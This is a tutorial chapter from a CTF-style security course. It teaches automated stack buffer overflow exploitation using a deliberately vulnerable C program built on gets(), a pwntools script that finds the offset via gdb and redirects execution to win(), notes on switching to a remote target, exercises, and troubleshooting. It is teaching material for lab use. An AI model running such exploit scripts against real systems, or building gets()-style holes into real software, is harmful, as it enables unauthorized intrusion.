Step 189. ★ Mini Project: Completing an Overflow Exploit Script — Turning a Hand Attack into Engineering
Level 3 — CTF in the Field & Advanced Attack Skills | Difficulty ★★★★☆ | Estimated time: 4 hours
Prerequisites: in Step 186 (Reproducing a Buffer Overflow) you measured the offset by hand and overwrote RET, and you can use Step 188’s (pwntools 101)
p64andsendline.
- What you need: WSL (Ubuntu) + gcc + gdb + pwntools in a Python virtual environment. If you still have the vulnerable binary from Step 186, use it as-is.
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- Caution: the script you build today is "an exploit that finishes in a single run." Run it only against your own binaries and your own CTF problems.
In Step 186 you measured the offset by hand. Raising the input 8 bytes at a time, watching crashes, counting distances with a calculator. What if that process repeated for every single problem? In the field, you make the program do that work. Fire a non-repeating pattern, read the value at the crash moment, auto-compute the offset, assemble the payload and fire it — the moment this whole process fits in one file, your attack goes from "handicraft" to "engineering." Today is that day.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain the principle of the
cyclic()pattern (a sequence of non-repeating chunks) - Read the overwritten return address at the crash moment with gdb and auto-compute the offset with
cyclic_find() - Complete an exploit script with the four-stage structure: offset discovery → payload assembly → transmission → result verification
- Run the finished script against a local process and verify the
win()call - Explain why pwntools’ core dump approach fails on WSL and the workaround
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | WSL Ubuntu + gcc + gdb 15, pwntools 4.15 in a Python venv |
| Today’s functions/commands | cyclic(200), cyclic_find(value), flat(...), p64(address), ELF("./vuln").symbols, gdb -batch -x script |
| Concepts needed | Pattern offset calculation, stack frame review (Step 185), non-canonical addresses, core dumps |
| Today’s deliverable | exploit189.py — a finished script that goes from offset calculation to flag output in a single run |
2-1. Why Automate — Three Weaknesses of Hand Calculation
Step 186’s manual work is excellent for learning, but in the field three things go wrong. First, it’s slow — dozens of minutes of trial and error raising by 8 bytes. Second, it’s wrong — humans commit off-by-one errors often. Third, it’s not reusable — change the binary and you start over from scratch.
An automation script solves all three at once. And in CTF, when a binary gets updated or a remote server’s environment differs slightly, you fix a few lines of the script and run it again.
2-2. The cyclic Pattern — A Stream Engraved with "Which Position Am I"
cyclic(200) makes a special 200-byte string. On the surface it looks like a random sequence aaaabaaacaaadaaa..., but its 4-byte (or 8-byte) chunks are all arranged differently. Thanks to that, a value found at a crash scene — say, 0x6161617461616173 — can be back-traced to which byte of the pattern it was.
If that value was sitting in the return address slot, then "the distance from the buffer start to the return address = that chunk’s position." The function that does this back-tracing is cyclic_find(). Like holding up a ruler with the graduations already engraved — no measuring needed.
2-3. Two Ways to Read a Crash Scene
- Core dump: when a process dies, it leaves its entire memory as a file. pwntools’
p.corefilereads this file and pulls out the registers. It’s the standard method, but on WSL, core files are not created by default (see Wall 1 in Section 6). - Via gdb: the debugger stops the process right before the crash, so you read the registers and stack right there. The method we use today.
2-4. The x86-64 Trap — Non-Canonical Addresses
On 64-bit Linux, address values must follow a rule in their upper bits (realistically only the lower 48 bits are used). A value with an ASCII pattern packed into it wholesale, like 0x6161617461616173, violates this rule — a non-canonical address. When ret tries to jump to such a value, the CPU throws an exception right at the ret instruction, before the jump can even succeed.
Practical meaning: after the crash, $rip holds not the pattern but the address of the ret instruction. So the "read RIP after the crash" approach doesn’t work on 64-bit, and you must stop right before ret and read the value sitting on the stack (the return address slot). While writing this book we hit exactly this wall in our measurements, and today’s script has this workaround built in.
3. Follow Along
3-1. Preparing the Test Vulnerable Binary
If you have Step 186’s binary, use it. Otherwise, make the one below. ~/lab/step189/vuln.c (educational vulnerable code):
#include <stdio.h>
#include <string.h>
void win() {
printf("FLAG{offset_master_189}\n");
}
void vuln() {
char buf[64];
printf("input> ");
fflush(stdout);
gets(buf); /* dangerous input with no length check — today's target */
printf("bye\n");
}
int main() {
vuln();
printf("normal exit\n");
return 0;
}
gcc -fno-stack-protector -fcf-protection=none -no-pie -o vuln vuln.c
The compile options are exactly as learned in Steps 186–187 — canary off (-fno-stack-protector), PIE off (-no-pie) to fix addresses. -fcf-protection=none turns off modern distributions’ CET control-flow markings, reducing environment variables for the practice. The linker warns the `gets' function is dangerous and should not be used — and that warning is itself today’s attack target.
3-2. Offset Discovery Helper — A gdb Script
This is the gdb script the exploit script creates and uses internally. First, run it once by hand to confirm the principle.
find_offset.gdb:
break *vuln+77
run < pattern.txt
printf "SLOT=0x%lx\n", *(unsigned long *)$rsp
Meaning: ① set a breakpoint at the vuln function’s ret instruction. ② Run with pattern.txt as standard input. ③ At the stopped moment, the stack top ($rsp) holds the value ret is about to grab — some chunk of the pattern. Print it.
The breakpoint position vuln+77 differs per environment. Check ret‘s offset with gdb -batch -ex "disassemble vuln" ./vuln and adjust (in the writing environment, ret was at +77).
3-3. The Finished Exploit Script
exploit189.py:
#!/usr/bin/env python3
"""Finished overflow exploit — from automatic offset discovery to the win() call."""
from pwn import *
import subprocess, re
context.binary = elf = ELF("./vuln")
context.log_level = "error"
WIN = elf.symbols["win"]
print(f"[+] win() address: {hex(WIN)}")
# --- Stage 1: send the non-repeating pattern -> cause a crash ---
pattern = cyclic(200)
with open("pattern.txt", "wb") as f:
f.write(pattern + b"\n")
# Stop right before ret with gdb and read the overwritten return address slot's value.
with open("find_offset.gdb", "w") as f:
f.write("break *vuln+77\n")
f.write("run < pattern.txt\n")
f.write('printf "SLOT=0x%lx\\n", *(unsigned long *)$rsp\n')
gdb_out = subprocess.run(
["gdb", "-batch", "-x", "find_offset.gdb", "./vuln"],
capture_output=True, text=True).stdout
slot = int(re.search(r"SLOT=(0x[0-9a-f]+)", gdb_out).group(1), 16)
print(f"[+] overwritten return address slot value: {hex(slot)}")
# --- Stage 2: automatic offset calculation ---
offset = cyclic_find(slot)
print(f"[+] automatic offset calculation result: {offset} bytes")
assert offset > 0, "slot value not found in the pattern"
# --- Stage 3: assemble the payload -> send ---
payload = flat([b"A" * offset, p64(WIN)])
p2 = process(["./vuln"])
p2.sendlineafter(b"input>", payload)
out = p2.recvall(timeout=3).decode(errors="replace")
print("[+] exploit output:")
print(out)
# --- Stage 4: verify the result ---
assert "FLAG{" in out, "win() was not called"
print("[+] success: offset calculation through win call complete")
Look at the structure closely. Discovery (stages 1–2) and attack (stages 3–4) live in one file. That’s what "finished" means — no human copying numbers in the middle.
3-4. Run — Done in One Go
./.venv/bin/python exploit189.py
Output (measured 2026-09-09, WSL Ubuntu 24.04, pwntools 4.15.0):
[+] win() address: 0x401156
[+] overwritten return address slot value: 0x6161617461616173
[+] automatic offset calculation result: 72 bytes
[+] exploit output:
bye
FLAG{offset_master_189}
[+] success: offset calculation through win call complete
How to read it: the slot value 0x6161617461616173 is saaataaa in little-endian — one chunk of the pattern. cyclic_find() computed that chunk’s position and answered 72 bytes. The distance we measured by hand in Step 186, found by the machine in one second — and then b"A"*72 + p64(win) was assembled and win() executed.
Why bye shows first: because vuln() prints printf("bye\n") as it ends, and only then jumps to the overwritten return address. And after win() prints the flag, win’s own return address is a garbage value, so a SEGV follows — but the flag is already out, so the victory is ours. (There’s a trap where output gets stuck in the pipe buffer and never shows. See Wall 3 in Section 6.)
3-5. Extending to Remote — Only the Connection Changes
The finished script’s real power is structural reuse. When switching to a remote target (a CTF server like Step 177’s), only two spots change.
# local: p2 = process(["./vuln"])
# remote: p2 = remote("problem-server-address", port)
One caution: on remote, you cannot run the offset discovery stage on the server — you can’t look into the server’s memory with gdb. So the real-world workflow is "obtain the offset locally on the same binary, and send only the attack stage to remote." This is why CTF problems hand out the binary along with the challenge.
4. Missions & Exercises
Mission — Your Own Finished Exploit
- Complete the 3-3 script for your environment — starting with replacing the
retoffset (vuln+N) with your own disassembly result. - Make a second binary with a different buffer size (e.g.,
char buf[40]) and confirm the offset is computed differently without modifying the script. - Add a final verification stage to the script — extract the flag with a regex (
FLAG\{[^}]+\}) and save it to a file. - In your wiki, write
exploit-engineering.md— organize cyclic’s principle, the four-stage structure, and the reason for the "local discovery / remote attack" split.
Exercises
Exercise 1. Explain why cyclic(200)‘s output can be used for offset calculation, from the perspective of "chunk uniqueness."
Exercise 2. Explain, with the non-canonical address concept, why the "read $rip after the crash" approach fails on 64-bit. How did our script work around it?
Exercise 3. In our measurement the offset came out as 72. The buffer is char buf[64] — why 72 and not 64? Explain with the stack frame structure (Step 185).
Exercise 4. When switching to a remote server target, explain why the offset discovery stage can’t be used as-is, and the order of operations in the field.
5. Model Answers & Completion Criteria
Mission Model Answer
How to verify: ① does a single script run print the offset number and the flag together (writing-environment standard: automatic offset calculation result: 72 bytes → FLAG{offset_master_189})? ② On the binary changed to buf[40], is the offset computed as 48 (40+8) with no code edits — that’s the proof of automation. ③ Is the flag saved to a file? ④ Does the write-up contain the sentence "discovery is local, attack is remote"?
Tip for finding the ret offset: read the <+N> number to the left of ret at the very bottom of disassemble vuln‘s output.
Exercise Answers
Answer 1. The cyclic pattern is arranged so each 4-byte (or 8-byte) chunk appears exactly once. So knowing one value from the crash scene uniquely determines which byte of the pattern that chunk was, and that position is itself the distance (offset) from the buffer start. If chunks repeated, the position would split into several candidates and back-tracing would be impossible.
Answer 2. An ASCII pattern value (e.g., 0x6161617461616173) violates x86-64’s canonical address rule, so before ret can jump to it, the CPU throws an exception right at the ret instruction. Therefore after the crash, $rip holds not the pattern but ret‘s address. We worked around it by setting a breakpoint right before ret and reading the slot value (*$rsp) still sitting on the stack.
Answer 3. On the stack, above the buffer (64 bytes) sits the saved rbp (8 bytes) first, and the return address comes next. So the distance to the return address is 64 + 8 = 72 bytes. Exactly the stack frame picture from Step 185.
Answer 4. Offset discovery requires reading the crash scene’s memory (gdb or a core dump), but you can’t see a remote server’s memory. So in the field: ① analyze the same binary distributed with the problem locally to obtain offsets and addresses, and ② send only the finished payload to remote. This is why CTFs hand out the binary.
Completion Criteria Checklist
- [ ] I can say in one sentence why the
cyclic()pattern is used for offset calculation - [ ] I can explain that because of non-canonical addresses, you must read the stack slot instead of post-crash RIP
- [ ] I ran
exploit189.pyand confirmed the automatic offset calculation (72) and the flag output - [ ] I confirmed the offset is recomputed without script edits even when the buffer size changes
- [ ] I can explain the reason for the local discovery / remote attack split
- [ ] Mission: I finished the completed script + flag saving + wiki write-up
6. Common Pitfalls & Fixes
Wall 1. p.corefile raises "Could not find core file"
Symptom (measured in the writing environment):
pwnlib.exception.PwnlibException: Could not find core file for pid 890
Cause: WSL doesn’t write core dumps to files; it passes them to a pipe called /wsl-capture-crash (cat /proc/sys/kernel/core_pattern → |/wsl-capture-crash %t %E %p %s). So pwntools can’t find a core on disk.
Fix: don’t change system settings — obtain the offset via gdb as in 3-3. Since gdb holds the process at the crash moment, it can read registers and the stack without a core file.
Wall 2. It crashes, but RIP isn’t the pattern value
Symptom (measured in the writing environment): gdb reports this.
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011b9 in vuln ()
0x4011b9 is the address of the ret instruction inside vuln — not the pattern (0x6161...).
Cause: the non-canonical address from 2-4. A value with the pattern packed in wholesale is not a valid address, so the CPU can’t complete the jump and throws the exception at the ret site.
Fix: set a breakpoint right before ret and read the stack slot (*$rsp). Looking at "before" the crash, not "after," is the standard for 64-bit offset discovery.
Wall 3. I clearly called win() but the flag doesn’t show
Symptom: you sent the payload but the output is only input> and the process dies.
Cause: after win() runs, its return address is a garbage value, so a SEGV follows soon. If standard output is connected to a pipe at that point, the printf output stays trapped in the buffer, never flushed, and vanishes. In the writing environment we checked with a diagnostic binary (whose signal handler calls exit) and the flag had printed fine — the attack succeeded but the output was lost.
Fix: adding fflush(stdout) after win()‘s printf is the surest fix. In this chapter’s measurements, the flag appeared because the pipe closed while recvall waited for process exit, pushing the buffer out — but depending on the environment it can be lost. If "it clearly succeeded but there’s no output," suspect buffering before the attack.
Wall 4. "Cannot access memory" at break *vuln+77, or the break never hits
Cause: the +77 offset is the writing environment’s value. Compiler version, optimization, a single line of source difference — all move ret‘s position.
Fix: read the <+N> of the ret line at the bottom of gdb -batch -ex "disassemble vuln" ./vuln and replace it. "If the script doesn’t work, disassemble with your eyes first" is this stage’s iron rule.
Wall 5. pwntools import is slow or the venv confuses me
Symptom: ModuleNotFoundError: No module named 'pwn'.
Cause: you’re mixing the system Python and the venv Python.
Fix: after making one with python3 -m venv .venv, always run with ./.venv/bin/python exploit189.py. pwntools lives only inside the venv.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| cyclic pattern | A string of non-repeating 4/8-byte chunks — back-trace the offset from the crash value |
cyclic_find() |
The pwntools function converting a pattern chunk value → an offset number |
| Non-canonical address | An address violating x86-64’s upper-bit rule — immediate exception at the ret site |
| Core dump | A memory snapshot at crash — on WSL it’s piped away so no file is created |
| Finished exploit | A script holding all four stages in one file: discover → assemble → send → verify |
| Local discovery / remote attack | The field workflow: get the offset on the same binary locally, send only the payload to remote |
Today’s Commands and Functions
| Command/function | What it does |
|---|---|
cyclic(200) |
Generate a 200-byte unique-chunk pattern |
cyclic_find(0x61616174...) |
Pattern value → offset calculation |
flat([b"A"*72, p64(WIN)]) |
Assemble a padding + address payload |
ELF("./vuln").symbols["win"] |
Extract a symbol address from the binary |
gdb -batch -x find_offset.gdb ./vuln |
Scripted automatic debugging |
break *vuln+77 |
Breakpoint right before ret |
printf "...", *(unsigned long *)$rsp |
Print the stack slot’s overwritten value |
An Instinct More Important Than Commands
Today’s real harvest is not function names but structure. A good exploit is not "code that runs" but "code that verifies" — each stage prints its intermediate values, and at the end it checks its own success. And one more thing: automation does not replace principle. If you don’t know why the offset is 72 or why you must read the stack slot, you can’t fix the script when it fails. As fast as the machine is, failure is fast too — only someone who knows the principle can read that failure.
Once every box is checked, Step 189 is complete. Click the checkbox in the sidebar to save your progress.